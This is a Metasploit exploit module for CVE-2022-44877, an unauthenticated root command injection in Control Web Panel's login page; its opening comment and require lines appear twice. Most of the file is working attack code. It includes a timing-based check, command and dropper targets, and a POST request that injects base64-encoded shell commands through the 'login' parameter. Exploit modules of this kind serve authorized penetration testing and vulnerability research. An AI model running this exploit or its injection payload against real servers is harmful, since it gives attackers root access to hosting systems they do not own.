##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'CWP login.php Unauthenticated RCE',
'Description' => %q{
Control Web Panel versions < 0.9.8.1147 are vulnerable to
unauthenticated OS command injection. Successful exploitation results
in code execution as the root user. The results of the command are not
contained within the HTTP response and the request will block while
the command is running.
},
'Author' => [
'Spencer McIntyre', # metasploit module
'Numan Türle' # vulnerability discovery
],
'References' => [
[ 'CVE', '2022-44877' ],
[ 'URL', 'https://github.com/numanturle/CVE-2022-44877' ],
[ 'URL', 'https://control-webpanel.com/changelog#1674073133745-84af1b53-c121' ]
],
'DisclosureDate' => '2023-01-05',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
Opt::RPORT(2031),
OptString.new('TARGETURI', [true, 'Base path', '/login/index.php'])
])
end

def check
sleep_time = rand(5..10)

_, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}")
end

vprint_status("Elapsed time: #{elapsed_time} seconds")

unless elapsed_time > sleep_time
return CheckCode::Safe('Failed to test command injection.')
end

CheckCode::Appears('Successfully tested command injection.')
rescue Msf::Exploit::Failed
return CheckCode::Safe('Failed to test command injection.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
if execute_command(payload.encoded)
print_good("Successfully executed command: #{payload.encoded}")
end
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path) + "?login=$(echo${IFS}#{Rex::Text.encode_base64(cmd)}|base64${IFS}-d|bash)",
'vars_post' => {
'username' => 'root', # *must* be root
'password' => rand_text_alphanumeric(4..16),
'commit' => 'Login'
}
)

# the command will either cause the response to timeout or return a 302
return if res.nil?
return if res.code == 302 && res.headers['Location'].include?('login=failed')

fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}")
end
end